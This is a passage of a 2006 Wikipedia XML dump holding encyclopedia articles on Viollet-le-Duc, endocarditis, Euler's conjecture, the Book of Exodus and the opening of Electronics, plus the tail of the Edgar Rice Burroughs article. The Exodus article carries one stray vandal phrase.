* [http://www.ERBzine.com/ Burroughs Tribute Site]
* [http://www.ERBzine.com/mag   Weekly Edgar Rice Burroughs Webzine]
* [http://www.ERBzine.com/all   Archive of over 3,000 Burroughs Webpages]
* [http://www.tarzan.org/ Tarzan.org, Burroughs Inc. official site]
* [http://www.strangeexcursions.com/tarzana The Tarzana Project: New Edgar Rice Burroughs Books]
* [http://www.strangeexcursions.com/vaults The Dream Vaults of Opar]
* [http://www.tarzan.org/official_biography_part1.html Official biography of Burroughs]
* [http://scifan.com/writers/bb/BurroughsEdgar.asp Bibliography] on [[SciFan]]
* [http://www.snopes.com/lost/tarzan.htm Snopes.com entry debunking the theory that Tarzana was named after Tarzan (joke)]
* [http://www.snopes.com/lost/false.htm Snopes.com entry debunking the Snopes.com entry debunking the theory that Tarzana was named after Tarzan]
* [http://www.seedwiki.com/wiki/chronology_central/edgar_rice_burroughs.cfm?wpid=183391 Chronology Central's Edgar Rice Burroughs page] - contains a chronological reading order for Edgar Rice Burroughs-based novels and comic books
* [http://www.nytimes.com/books/first/t/taliaferro-tarzan.html NY Times article on Burroughs]
* [http://www.erbfirsts.com/ ERB collectors site] with auction price tracking
* {{isfdb name|id=Edgar_Rice_Burroughs|name=Edgar Rice Burroughs}}

&lt;!-- Categories --&gt;
[[Category:1875 births|Burroughs, Edgar Rice]]
[[Category:1950 deaths|Burroughs, Edgar Rice]]
[[Category:Edgar Rice Burroughs|Burroughs, Edgar Rice]]
[[Category:California writers|Burroughs, Edgar Rice]]
[[Category:American science fiction writers|Burroughs, Edgar Rice]]
[[Category:Chicagoans|Burroughs, Edgar Rice]]
[[Category:American fantasy writers|Burroughs, Edgar Rice]]
[[Category: Phillips Academy alumni|Burroughs, Edgar Rice]]
&lt;!-- Interwiki links --&gt;

[[da:Edgar Rice Burroughs]]
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    </revision>
  </page>
  <page>
    <title>Eugène Viollet-le-Duc</title>
    <id>9658</id>
    <revision>
      <id>40616456</id>
      <timestamp>2006-02-21T21:24:07Z</timestamp>
      <contributor>
        <username>Japanese Searobin</username>
        <id>153340</id>
      </contributor>
      <minor />
      <comment>+ja:</comment>
      <text xml:space="preserve">'''Eugène Emmanuel Viollet-le-Duc''' ([[January 27]] [[1814]] &amp;ndash; [[September 17]], [[1879]]) was a French [[architect]] and theorist, famous for his restorations of [[medieval]] buildings. Born in [[Paris]], he was as central a figure in the [[Gothic Revival]] in France as he was in the public discourse on &quot;honesty&quot; in architecture, which eventually transcended all revival styles, to inform the moving spirit of [[Modernism]]. Sir John Summerson considered that &quot;there have been two supremely eminent theorists in the history of European architecture&amp;mdash;[[Leon Battista Alberti]] and Eugène Viollet-le-Duc&quot; (Summerson 1948).

[[Image:Viollet-le-DucConcertHallEntretiens.jpg|thumb|right|280px|Design for a concert hall, dated 1864, expressing Gothic principles in modern materials; brick, stone and castiron. ''Entretiens sur l'architecture'']]

==Early years==
Viollet-le-Duc's father was a civil servant in Paris who collected books and his mother's Friday salons drew [[Stendal]] and [[Sainte-Beuve]]. Her brother, [[Eugène Délécluze]], &quot;a painter in the mornings, a scholar in the evenings&quot; (Summerson), was largely in charge of the young man's education. Viollet-le-Duc showed a lively intellect: republican, anti-clerical, rebellious, who built barricade in the July [[Revolution of 1830]] and refused to enter the ''[[Ecole des Beaux-Arts]]''.

==As an Architectural Restorer==

In the early [[1830s]], the beginnings of a movement for the restoration of medieval buildings appeared in [[France]]. Viollet-le-Duc, returning in 1835 from a study trip to [[Italy]], was ordered by [[Prosper Merimée]] to restore the Romanesque abbey of [[Vezelay]]. This work marked the beginning of a long series of restorations; Viollet-le-Duc's restorations at Notre Dame de Paris brought him into national attention. 

Viollet-le-Duc applied the lessons he had derived from [[Gothic architecture]], seeing beneath the atmospheric allure that drew his British contemporaries to especially what he conceived of its rational structural systems, to modern building materials such as cast iron.  He practiced as archaeologically precise (for his time) a style of restoration as he could manage, but his own designs were remarkably innovative.  His approach to both medieval and modern architecture was severely rational, in keeping with his own unsentimental appreciation of the Gothic achievement.

At the same time, in the cultural atmosphere of the [[French Second Empire|Second Empire]] theory necessarily became diluted in practice, and  messages were mixed: Viollet-le-Duc provided a Gothic reliquary for the relic of the [[Crown of Thorns]] at Notre-Dame in 1862, and yet [[Napoleon III]] also commisioned designs for a luxuriously appointed railway carriage from Viollet-le-Duc, in 14th-century Gothic style (Exhibition 1965)
[[Image:Dictionnaire Raisonné de Architecture pequeño.png|thumb|right|150px|Front cover of the ''Dictionnaire Raisonné de L'Architecture Française. Du XIe au XVIe siécle'', A. Morel editor, Paris, 1868.]]
Among his restorations were:

* Churches :
** Sainte-Marie-Madeleine, Vézelay
** [[Notre-Dame de Paris]]
** [[Saint Denis Basilica]], near Paris
** Saint-Louis, in [[Poissy]], France
** Semur 
** Saint-Nazaire, in [[Carcassonne]], France
** Saint-Sernin, in [[Toulouse]], France
** Notre-Dame de [[Lausanne]], Switzerland
* Town Halls :
** Saint-Antonin
** [[Narbonne]]

* Castles :
** [[Pierrefonds]]
** Fortified city of Carcassonne
** [[Château de Coucy]]


Restoration of the Château of Pierrefonds, reinterpreted by Viollet-le-Duc for [[Napoleon III of France|Napoleon III]], was interrupted by the departure of the Emperor in [[1870]]. He died in [[Lausanne]] in [[1879]]

An exhibition, ''Eugène Viollet-le-Duc 1814-1879'' was presented in Paris, 1965.

==Legacy==
Some of his restorations, such as that of the castle of [[Pierrefonds]], were highly controversial because they did not aim so much at accurately recreating a historical situation as much as at creating a &quot;perfect building&quot; of medieval style. Modern conservation practice finds Viollet-le-Duc's restorations too free, too personal, too interpretive, but many of the monuments he restored would have otherwise been lost.

The famous [[Catalonia|Catalan]] architect [[Antoni Gaudi|Antoni Gaudí]] was strongly influenced by the Gothic architecture revival of Viollet-le-Duc.

==Publications==
Throughout his career Viollet-le-Duc made notes and drawings, not only for the buildings he was working on, but also on [[Romanesque architecture|Romanesque]], [[Gothic architecture|Gothic]] and [[Renaissance]] buildings that were to be soon demolished. Hisnotes were helpful in his published works. His study of medieval and Renaissance periods was not limited to architecture, but extended to furniture, clothing, musical instruments, armament and so forth. 

All this work was published, first in serial, and then as full-scale books, as:

* ''Dictionary of French Architecture from 11th to 16th Century'' (1854-1868) (''[http://fr.wikisource.org/wiki/Dictionnaire_raisonné_de_l'architecture_française_du_XIe_au_XVIe_siècle Dictionnaire raisonné de l'architecture française du XIe au XVe siècle''])
* ''Dictionary of French Furnishings'' (1858-1870) (''Dictionnaire raisonné du mobilier français de l'époque Carolingienne à la Renaissance.'')
* ''Entretiens sur l'architecture'' (in 2 volumes, 1858-72), in which  Viollet-le-Duc systematized his approach to architecture and architectural education, in a system radically opposed to that of the ''[[Ecole des Beaux-Arts]]'', which he had avoided in his youth and despised. In  Henry Van Brunt's translation, the &quot;Discourses on Architecture&quot; was published in 1875, making it available to an American audience little more than a decade after its initial publication in France.

==Reference==
*[[John Summerson|Summerson, Sir John]], 1948. &quot;Viollet-le-Duc and the rational point of view&quot; collected in ''Heavenly Mansions and Other essays on Architecture.''

[[Category:1814 births|Viollet-le-Duc, Eugène]]
[[Category:1879 deaths|Viollet-le-Duc, Eugène]]
[[Category:French architects|Viollet-le-Duc, Eugène]]

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    </revision>
  </page>
  <page>
    <title>Endocarditis</title>
    <id>9659</id>
    <revision>
      <id>41941160</id>
      <timestamp>2006-03-02T19:52:15Z</timestamp>
      <contributor>
        <username>Arcadian</username>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Endocarditis |
  ICD10       = I33 |
  ICD9        = {{ICD9|421}} |
}}

'''Endocarditis''' is an [[inflammation]] of the inner layer of the [[heart]], the [[endocardium]]. The most common structures involved are the [[heart valve]]s.

Endocarditis can be classified by etiology as either ''infective'' or ''non-infective'', depending on whether a foreign [[micro-organism]] is causing the problem.  

== Infective endocarditis ==
As the valves of the heart do not actually receive any [[blood]] supply of their own, which may be surprising given their location, defense mechanisms (such as [[white blood cell]]s) cannot enter. So if an organism (such as [[bacterium|bacteria]]) establish hold on the valves, the body cannot get rid of them.

Normally, blood flows pretty smoothly through these valves. If they have been damaged (for instance in [[rheumatic fever]]) bacteria have a chance to take hold.

[[Image:Blood_culture_negative_endocarditis.jpg|frame|right|''Bartonella henselae'' bacilli in cardiac valve of a patient with blood culture-negative endocarditis. The bacilli appear as black granulations.]]

===Classification===
Traditionally, infective endocarditis has been clinically divided into ''acute'' and ''subacute'' (between acute and chronic) endocarditis.  This classifies both the tempo of progressison and severity of disease. Thus subacute bacterial endocarditis (SBE) is often due to streptococci of low virulence and mild to moderate illness which progresses slowly over weeks and months, while acute bacterial endocarditis (ABE) is a fulminant illness over days to weeks, and is more likely due to ''[[Staphylococcus aureus]]'' which has much greater virulence, or disease-producing capacity.

This terminology is now discouraged.  The terms ''short incubation'' (meaning less than about six weeks), and ''long incubation'' (greater than about six weeks) are preferred despite the lack of advantage in meaning.

Infective endocarditis may also be classified as ''culture-positive'' or ''culture-negative''. Culture-negative endocarditis is due to micro-organisms that require a longer period of time to be identified in the laboratory. Such organisms are said to be ''fastidious'' because they have demanding growth requirements. Some pathogens responsible for culture-negative endocarditis include ''Aspergillus species'', ''Brucella species'', ''Coxiella burnettii'', ''Chlamydia species'', and HACEK bacteria.

Finally, the distinction between ''native-valve endocarditis'' and ''prosthetic-valve endocarditis'' is clinically important.

===Aetiology and pathogenesis===
As previously mentioned, altered blood flow around the valves is a risk factor in obtaining endocarditis. The valves may be damaged congenitally, from [[surgery]], by [[auto-immune]] mechanisms, or simply as a consequence of old age. The damaged part of a heart valve becomes covered with a blood clot, a condition known as non-bacterial thrombotic endocarditis (NBTE).

In a healthy individual, a [[bacteraemia]] (where bacteria get into the blood stream through a minor cut or wound) would normally be cleared quickly with no adverse consequences. If a heart valve is damaged and covered with a piece of a blood clot, the valve provides a place for the bacteria to attach themselves and an infection can be established.

The bacteraemia is often caused by minor [[dentistry|dental]] procedures, such as a [[tooth]] removal. It is important that a [[dentist]] is told of any heart problems before commencing.

Another group of causes result from a high number of bacteria getting into the bloodstream. [[Colorectal cancer]], serious [[urinary tract infection]]s and [[IV drug]] use, can all introduce large numbers of bacteria. With a large number of bacteria, even a normal heart valve may be infected. A more virulent organism (such as ''[[Staphylococcus aureus]]'') is usually responsible for infecting a normal valve.

Intravenous drug users tend to get their right heart valves infected because the [[vein]]s that are injected enter the right side of the heart. The injured valve is most commonly affected when there is a pre-existing disease. (In rheumatic heart disease this is the aortic and the mitral valves, on the left side of the heart.)

===Clinical and pathological features===
*Fever (often spiking)
*Continuous presence of micro-organisms in the bloodstream determined by serial collection of blood cultures
*Vegetations on valves on [[echocardiography]]
*Septic emboli, causing circulatory problems ([[stroke]], [[gangrene]] of fingers)
*[[Chronic renal failure]]
*[[Osler's node]]s (painful subcutaneous lesions in the distal fingers)
*[[Janeway lesion]]s (painless hemorrhagic cutaneous lesions on the palms and soles)
*[[Roth spot]]s on the [[retina]]
*Conjunctival petechiae
*A new or changing heart murmur, particularly murmurs suggestive of valvular incompetence

===Micro-organisms responsible===
Many types of organism can cause infective endocarditis. These are generally isolated by [[blood culture]], where the patient's blood is removed, and any growth is noted and identified.

Alpha-haemolytic [[Streptococcus|streptococci]], that are present in the mouth will often be the organism isolated if a dental procedure caused the bacteraemia.

If the bacteraemia was introduced through the skin, such as contamination in surgery, during catheterisation, or in an IV drug user, ''Staphylococcus aureus'' is common.

A third important cause of endocarditis is ''[[Enterococcus|Enterococci]]''. These bacteria enter the bloodstream as a consequence of abnormalities in the gastrointestinal or urinary tracts. ''[[Enterococcus|Enterococci]]'' are increasingly recognized as causes of nosocomial or hospital-acquired endocarditis. This contrasts with alpha-haemolytic streptococci and ''[[Staphylococcus aureus]]'' which are causes of community-acquired endocarditis.

Some organisms, when isolated, give valuable clues to the cause, as they tend to be specific.
*''[[Candida albicans]]'', a [[yeast]], is associated with IV drug users and the [[immunocompromised]].
*''[[Pseudomonas]]'' species, which are very resilient organisms that thrive in water, may contaminate street drugs that have been contaminated with drinking water.
*''[[Streptococcus bovis]]'', which is part of the natural flora of the bowel, tends to present when the patient has bowel cancer.
* [[HACEK organisms]] are a group of bacteria that live on the dental gums, and are associated with IV drug users who contaminate their needles with saliva.

===Treatment===
High dose [[antibiotic]]s are administered by the intravenous route to maximize diffusion of antibiotic molecules into vegetation(s) from the blood filling the chambers of the heart. This is necessary because neither the heart valves nor the vegetations adherent to them are supplied by blood vessels. Antibiotics are continued for a long time, typically two to six weeks. Surgical removal of the valve is necessary in patients who fail to clear micro-organisms from their blood in response to antibiotic therapy, or in patients who develop cardiac failure resulting from destruction of a valve by infection. A removed valve is usually replaced with an artificial valve which may either be mechanical (metallic) or obtained from an animal such as a pig; the latter are termed bioprosthetic valves.
Infective endocarditis is associated with a 25% mortality.

== Non-infective endocarditis ==
Non-infective or marantic endocarditis is [[rare disease|rare]]. A form of sterile endocarditis is termed [[Libman-Sacks endocarditis]]; this form occurs more often in patients with [[lupus erythematosus]] and the [[antiphospholipid syndrome]]. Non-infective endocarditis may also occur in patients with cancers, particularly mucinous adenocarcinoma.

==External links==
* [http://heartcenter.seattlechildrens.org/conditions_treated/endocarditis.asp Endocarditis information] from Seattle Children's Hospital Heart Center

[[Category:Valvular heart disease]]

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    </revision>
  </page>
  <page>
    <title>Euler's conjecture</title>
    <id>9660</id>
    <revision>
      <id>37351550</id>
      <timestamp>2006-01-30T12:35:43Z</timestamp>
      <contributor>
        <username>Tosha</username>
        <id>37304</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Euler's conjecture''' is a [[conjecture]] in [[mathematics]] related to [[Fermat's last theorem]] which was proposed by [[Leonhard Euler]] in [[1769]]. It states that for every [[integer]] ''n'' greater than 2, the sum of ''n''&lt;tt&gt;-&lt;/tt&gt;1 ''n''th powers of positive integers cannot itself be an ''n''th power.

The conjecture was disproven by [[L. J. Lander]] and [[Thomas Parkin|T. R. Parkin]] in [[1966]] when they found the following counterexample for ''n'' = 5:

::27&lt;sup&gt;5&lt;/sup&gt; + 84&lt;sup&gt;5&lt;/sup&gt; + 110&lt;sup&gt;5&lt;/sup&gt; + 133&lt;sup&gt;5&lt;/sup&gt; = 144&lt;sup&gt;5&lt;/sup&gt;.

In [[1988]], [[Noam Elkies]] found a method to construct counterexamples for the ''n'' = 4 case. His smallest counterexample was the following:

::2682440&lt;sup&gt;4&lt;/sup&gt; + 15365639&lt;sup&gt;4&lt;/sup&gt; + 18796760&lt;sup&gt;4&lt;/sup&gt; = 20615673&lt;sup&gt;4&lt;/sup&gt;.

[[Roger Frye]] subsequently found the smallest possible ''n'' = 4 counterexample by a direct computer search using techniques suggested by Elkies:

::95800&lt;sup&gt;4&lt;/sup&gt; + 217519&lt;sup&gt;4&lt;/sup&gt; + 414560&lt;sup&gt;4&lt;/sup&gt; = 422481&lt;sup&gt;4&lt;/sup&gt;.

{{Numtheory-stub}}
[[Category:Number theory]]
[[Category:Conjectures]]

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    </revision>
  </page>
  <page>
    <title>Exodus</title>
    <id>9662</id>
    <revision>
      <id>41888456</id>
      <timestamp>2006-03-02T11:05:38Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* The Construction of a Tabernacle, vestments, and associated ritual objects (35-40) */  Disambig [[congregation (worship)]]</comment>
      <text xml:space="preserve">{{dablink|This article is about the second book in the Torah. Discussion of [[the exodus]], a major event in the book, is in a separate article. For other uses of the name, see [[Exodus (disambiguation)]].}}
{{Books of the Old Testament}}
{{Books of Torah}}
'''Exodus''' is the second book of the [[Torah]] (the [[Pentateuch]]) and also the [[Tanakh]] (the [[Hebrew Bible]]), and the Christian [[Old Testament]]. The major events of the book concern  [[the Exodus]], a departure of [[Hebrew people|Hebrew]] [[slavery|slaves]] from [[Egypt]], under the [[leadership]] of [[Moses]]. 

Jews call the book by its first words ''Ve-eleh shemoth'' (i.e., &quot;and these are the names&quot;) or simply &quot;Shemoth&quot; שמות. The [[Septuagint]] designates the second book of the [[Pentateuch]] as &quot;Exodus&quot;, meaning &quot;departure&quot; or &quot;out-going&quot;. The [[Latin| Latin]] translation adopted the name, which thence passed into other languages. As a result of the theme of the first half of the book, the term &quot;an exodus&quot; has come to mean a departure of a great number of people.

==Summary==

The book is generally broken into six sections:
*The account of the growth of the Israelites into a peoples, their enslavement in Egypt, and eventual escape (1-12)
*The journey from Egypt to [[Mount Sinai]] (13-18)
*The formation of a covenant between [[Yahweh]] and the people, and its associated laws (19-24)
*Intricate instructions for the construction of a tabernacle, priestly robes, and other ritual objects (25-31)
*The episode of the [[golden calf]], and the regiving of the law (32-34)
*The construction of the tabernacle, priestly robes, and other ritual objects (35-40)

A major [[Chiastic structure]] runs throughout the second half of Exodus, centred on the episode of the golden calf. 

===The Israelites and their escape from slavery (1-14)===

A new [[Pharaoh]], who ''knew not [[Joseph]]'', becomes concerned about the military implications of the large increase in the Israelite population, and oppresses them with forced labour, ordering the Hebrew [[midwife|midwives]] to kill all male babies. However, a daughter of Pharaoh finds the male infant of a [[Levite]], calling him ''Moses'' (translating as ''drawn from the water''). Moses is brought up as an [[Egyptian]], but eventually sympathises with the suffering Israelites, slaying an Egyptian overseer.

Fleeing the country, [[Moses' exile]] takes him to [[Midian]], becoming shepherd to the priest [[Jethro]], and marrying his daughter, [[Zipporah]]. As he feeds the sheep on [[Mount Horeb]], God appears to him from a [[burning bush]], which fails to turn to ash. Yahweh orders Moses to demand the release of the Israelites from Pharaoh, and gives him the power to perform [[Miracles of Moses|two magical signs]], to show his authority. [[Aaron]], mentioned for the first time, and identified as Moses' brother, is appointed to assist him. On his return to Egypt, God tries to kill Moses, but [[Zipporah at the inn|Zipporah, at the inn]], decides to [[circumcision|circumcise]] Moses' son, saving his life. (1-4)

The Pharaoh refuses Moses' request, and oppresses the people still further, ordering them to make [[bricks without straw]]. Moses subsequently complains to God, announces to him that he will display his power to such an extent, that the Pharaoh will be keen to send the Israelites away, even with all the jewelery of the Egyptians. The [[genealogy]] of Moses and his family appears at this point, rather than at the beginning of the story. (5-6)

God sends [[Plagues of Egypt|a series of plagues onto Egypt]], each time acting through Moses. Since each one has respite, and the Egyptian magicians are capable of duplicating some of them, the pharaoh becomes increasingly stubborn (7-10). Finally, a great plague, killing all the firstborn, occurs, passing over the houses of the Israelites, since they have completed the [[passover]] ritual, marking their houses. Pharaoh consequently relents and is only too glad to get rid of the Israelites (11-12).

===The journey through the wilderness to Mount Sinai (13-18)===

[[The Exodus]] begins after Pharaoh's consent, and the Israelites leave [[Rameses]] to go to [[Succoth]]. The nobles of Egypt object to Pharaoh's consent, and so Pharaoh gathers together a large army to chase after the Israelites, who have by this point reached the [[Red Sea]]. Fortunately for the Israelites, they are divinely guarded, and are able to [[passage of Red Sea|escape through the Red Sea]], when Moses causes the waters to part. The waters collapse once the Israelites have passed, defeating Pharaoh, and the Israelites joyfully sing the [[Song of the Sea]] (13-14).

The Israelites continue their journey into the desert, and once in the [[Wilderness of Sin]], they complain about the lack of food. Listening to their complaint, God sends them a [[Quail|shower of quail]], and subsequently provides a daily shower of [[Manna|manna from heaven]]. Once at [[Rephidim]], the thirst of the people gets to them, so [[Kadesh (South of Israel)|water is miraculously]] provided from a rock. The [[Amalekites]] perform a sneak attack on the Israelites, and although [[Joshua]] manages to lead an army to vanquish them, God still orders an eternal war against [[Amalek]] (15-17). Jethro hears of Moses' approach, and visits him, advising Moses to appoint [[judges]] (18).

===The Covenant and its Laws (19-24)===

In the third month the Israelites arrive at [[Mount Sinai]], and God announces, via Moses, that the Israelites are ''God's people'', because he has [[liberation|liberated]] them by his [[omnipotence]]. The Israelites accept this call, and so, with [[thunder]] and [[lightning]], clouds of smoke, and the noise of [[trumpet]]s, God appears to them at the top of Mount Sinai (19).

God then announces a summarised moral law, the [[Ethical Decalogue]] (20). A more detailed [[Covenant Code]] is subsequently provided, concerning both ritual and civil law, and God promises [[Canaan]] to the Israelites if they obey, but warns against the [[paganism]] of its inhabitants (21-23). God calls Moses up into the mountain to receive a set of [[Rock (geology)|stone]] [[tablet]]s containing the law, and further instructions (24).

===The Instructions for a Tabernacle, vestments, and associated ritual objects (25-31)===

Intricate instructions, forming one of the least readable portions of the Torah, are then given detailing the construction of a [[tabernacle]], so that God can dwell permanently amongst the Israelites (25-28). These directions provide for a particularly extensive construction:
*The [[Ark of the Covenant]], to contain the tablets
*A ''[[mercy seat]]'', with two [[gilt]] [[cherubim]] either side, for God to sit at
*A [[menorah]], never to be extinguished, and its oil
*A construction to contain these things, involving curtains for a roof, walls on [[silver]] feet, outer curtain, and a [[purple]] veil to separate the [[Holy of Holies]], table, and menorah, from the remainder.
*The outer court, involving [[pillars]] on bronze [[pedestal]]s, connected up by [[hook]]s and silver [[crossbar]]s.

Instructions are also given for the [[garment]]s of the priests (28):
*A shoulder-band ([[ephod]]), containing two [[onyx]] stones, each engraved with the names of six of the tribes of Israel
*A breastplate containing ''[[Urim]]'' and ''[[Thummim]]''
*[[Gold]]en chains for holding the breastplate set with twelve specific precious stones, in four rows
*A robe for the ephod, with [[bell (instrument) | bell]]s and [[pomegranate]]s around the seam
*A [[coat]]
*A [[mitre]]
*A golden [[mitre]] plate with the inscription ''Holiness to the Lord''
*A girdle 

Following these instructions are details of the ritual to be used to ordain the priests, including [[robing]], [[anointing]], and seven days of sacrifices. There are also instructions for daily morning and evening offerings of a lamb (29). The specifications for construction of the tabernacle is then continued with directions for making a golden altar of [[incense]], [[laver (basin)|laver]], [[chrysm|anointing oil]], and [[perfume]] (30). [[Bezaleel]] and [[Aholiab]] are identified, by God, as the appointed craftsmen to construct these things (31).gobby is a wranger

===The golden calf, and regiving of the law (32-34)===

Whilst Moses is up the mountain, the people become impatient and urge Aaron to make them a [[golden calf]], which they worship with joy. God informs Moses that they have become [[idolatry|idolatrous]], threatening to abandon Israel, but Moses intercedes for them. However, when he comes down, he sees what they have done, and in anger smashes the two tablets of the law. After pronouncing judgment upon Aaron and the people Moses again ascends to God to implore forgiveness, and is successful (32-33). Moses consequently is commanded to make two new tablets on which God will personally write the commandments. God then gives the [[Ritual Decalogue]], writing the ''ten commandments'' onto the tablets. Moses then returns to the people, who listen to him in respectful silence (34).

===The Construction of a Tabernacle, vestments, and associated ritual objects (35-40)===

Moses collects the [[congregation (worship)|congregation]], enjoins upon them the keeping of the Sabbath, and requests gifts for the sanctuary. The entire people respond willingly, and under the direction of Bezaleel, and Aholiab, they complete all the instructions, for making the tabernacle, its contents, and the priestly robes, and the Israelites put it together on the first day of the second month (35-40). This section is almost, but not completely, a word for word copy of Chapters 25-31.

==Dating==

The time-span in this book, from the death of [[Joseph (dreamer)|Joseph]] to the erection of the [[tabernacle]] in the wilderness, covers about one hundred and forty-five years, on the supposition that one computes the four hundred and thirty years (12:40) from the time of the promises made to [[Abraham]] (Gal. 3:17).

There have been several attempts to fix the date of the events in the book to a precise point on the [[Gregorian Calendar]]. These attempts generally rest on three considerations
*Who the unnamed pharaoh was
*The dates for non-biblical accounts of large numbers of semitic people leaving Egypt
*The date that archaeology implies [[Jericho]] was destroyed
Generally, fixing the identification of the Pharaoh is considered the key, and two names are usually suggested:
*[[Amenhotep II]], around 1444 BC, favoured by religious scholars, since it precedes the destruction of Jericho, although it fails to identify the Israelites
*[[Ramses II]], around 1290 BC, favoured by a large minority of secular scholars, since it is able to identify the Israelites as the [[Hyksos]], although this contradicts some aspects of the biblical account, and occurs after Jericho was destroyed.

==Authorship==

Like the remainder of the [[Torah]], traditional and religious attitudes are that the book is the work of Moses himself. Also like the remainder of the Torah, a large majority (90%) of modern scholarship disagrees, and instead supports the [[documentary hypothesis]], which asserts that there were several, post-Moses, authors, whose stories have been intertwined by [[Torah redactor|a later redactor]]. The three main authors of the work are said, in this hypothesis, to be the [[Jahwist]], [[Elohist]], and [[Priestly source]]. In addition, the poetic [[Song of the Sea]], and the prose [[Covenant Code]], are thought to have been originally independent works which the associated author, of these three, chose to embed in their works.

Of these, in the hypothesis, the Elohist is identified as uniquely responsible for the episode of the golden calf, and the priestly source as uniquely responsible for the chiastic, and monotonous, instructions for creating the tabernacle, vestments, and ritual objects, and the account of their creation. Notable, the three main authors are also each uniquely associated with one part of the law code - the Elohist with the Covenant Code, the Priestly source with the Ethical Decalogue, and the Jahwist with the Ritual Decalogue.

The other parts of the book are believed to have been constructed by intertwining the Jahwist, Elohist, and Priestly, versions of each of the stories. Deconstructions of the stories into these sources, applying the hypothesis, identify heavy variations between stories, for example, the Priestly Source never warning Pharaoh about the plagues, but instead presenting the plagues as a test of his magicians, and always involving Aaron, whereas the Elohist always provides a warning, the Pharaoh is always described as giving in, but then hardening when Moses undoes the plague, and hardly ever includes Aaron in a positive light.

==See also==
* [[The Exodus]]
* [[Moses]]
* [[Tabernacle]]
* [[parsha|Torah portions]] in Exodus: [[Shemot (parsha)|Shemot]], [[Va'eira]], [[Bo (parsha)|Bo]], [[Beshalach]], [[Yitro (parsha)|Yitro]], [[Mishpatim]], [[Terumah (parsha)|Terumah]], [[Tetzaveh]], [[Ki Tisa]], [[Vayakhel]], and [[Pekudei]]

==References==
* Colin J. Humphreys, ''The Miracles of Exodus: A Scientist’s Discovery of the Extraordinary Natural Causes of the Biblical Stories'' 2003, HarperSanFrancisco
* W. F. Albright ''From the Stone Age to Christianity'' (2nd edition) Doubleday/Anchor
* W. F. Albright ''Archaeology and the Religion of Israel'' (5th edition) 1969, Doubleday/Anchor
* ''Encyclopedia Judaica'', Keter Publishing, entry on &quot;Population&quot;, volume 13, column 866.
* Y. Shiloh, &quot;The Population of Iron Age [[Palestine (region)|Palestine]] in the Light of a Sample Analysis of Urban Plans, Areas and Population Density.&quot; ''Bulletin of the American Schools of Oriental Research'' (BASOR), 1980, 239:25-35
* ''Exploring Exodus: The Origins of Biblical Israel'' [[Nahum Sarna]], Shocken Books, 1986 (first edition), 1996 (reprint edition), chapter 5, &quot;Six hundred thousand men on foot&quot;.
* &quot;[http://www.infidels.org/library/magazines/tsr/1995/1/1num95.html Those Amazing Biblical Numbers: Taking Stock of the Armies of Ancient Israel]&quot; William Sierichs, Jr. 
* &quot;The Rise of Ancient Israel : Symposium at the Smithsonian Institution October 26, 1991&quot; by Hershel Shanks, William G. Dever, Baruch Halpern and P. Kyle McCarter, Biblical Archaeological Society, 1992.
* ''The Biblical Exodus in the Light of Recent Research: Is There Any Archaeological or Extra-Biblical Evidence?'', Hershel Shanks, Editor, Biblical Archaeological Society, 1997

==External links==
===Online versions and translations of Exodus===
*[http://www.mechon-mamre.org/p/pt/pt0201.htm ''Shmot''] (Original [[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)
*[http://st-takla.org/pub_oldtest/01_gen.html Exodus in Arabic language]) from http://St-Takla.org

===Jewish translations===
*[http://www.mechon-mamre.org/e/et/et0201.htm Exodus at Mechon-Mamre] (Jewish Publication Society translation)
*[http://bible.ort.org/books/pentd2.asp?ACTION=displaypage&amp;BOOK=2&amp;CHAPTER=1 Exodus (The Living Torah)] Rabbi [[Aryeh Kaplan]]'s translation and commentary at Ort.org
*[http://www.chabad.org/article.asp?aid=8161 Shemot - Exodus (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org

===Christian translations===
*[http://www.anova.org/sev/htm/hb/02_exodus.htm ''Exodus'' at The Great Books] (New Revised Standard Version)
*{{biblegateway||Exodus}}
*[http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Exodus ''Exodus'' at Wikisource] (Authorised King James Version)

==Translations identifying sources==
*[[Wikisource:Bible, English, King James, Documentary Hypothesis, Exodus|Exodus with sources highlighted, at Wikisource]]

===Related articles===
*[http://www.jewishencyclopedia.com/view.jsp?artid=551&amp;letter=E&amp;search=Exodus ''Book of Exodus'' article] (Jewish Encyclopedia)

[[bg:Изход (Библия)]]
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[[ja:出エジプト記]]
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[[Category:Torah]]
[[Category:Tabernacle and Jerusalem Temples]]
[[Category:Old Testament books]]</text>
    </revision>
  </page>
  <page>
    <title>Electronics</title>
    <id>9663</id>
    <revision>
      <id>41786754</id>
      <timestamp>2006-03-01T19:17:23Z</timestamp>
      <contributor>
        <username>Fredrik</username>
        <id>26675</id>
      </contributor>
      <comment>remove stupid hierarchy tag, use standard TOC placement</comment>
      <text xml:space="preserve">The field of '''electronics''' is the study and use of systems that operate by controlling the flow of [[electron]]s or other [[electric charge|electrically charged]] particles in devices such as [[thermionic valve]]s and [[semiconductor]]s. The design and construction of [[electronic circuit]]s to solve practical problems is part of the field of [[electronics engineering]], and includes the hardware design side of [[computer engineering]].
The study of new semiconductor devices and their technology is sometimes considered as a branch of [[physics]]. This page focuses on engineering aspects of electronics.

== Overview of electronic systems and circuits==
[[Image:Voltmeter.jpg|thumb|left|Commercial digital voltmeter checking a prototype]]
Electronic systems are used to perform a wide variety of tasks. The main uses of electronic circuits are the controlling, processing and distribution of [[information]], and the conversion and distribution of [[electric power]]. Both of these uses involve the creation or detection of [[electromagnetic field]]s and [[electric current]]s. While electrical energy had been used for some time to transmit data over [[Telegraphy|telegraphs]] and [[Telephone|telephones]], the development of electronics truly began in earnest with the advent of [[radio]]. 
One way of looking at an electronic system is to divide it into the following parts:

*[[Input]]s &amp;ndash; Electronic or mechanical [[sensor]]s (or [[transducer]]s), which take signals from outside sources such as antennae or networks, (or signals which represent values of temperature, pressure, etc.) from the physical world and convert them into current/voltage or digital signals.

*[[Signal processing]] circuits &amp;ndash; These consist of electronic components connected together to manipulate, interpret and transform the signals. Recently, complex processing has been accomplished with the use of [[Digital_signal_processor|Digital Signal Processors]].

*[[Output]]s &amp;ndash; Actuators or other devices such as transducers that transform current/voltage signals back into useful physical form.

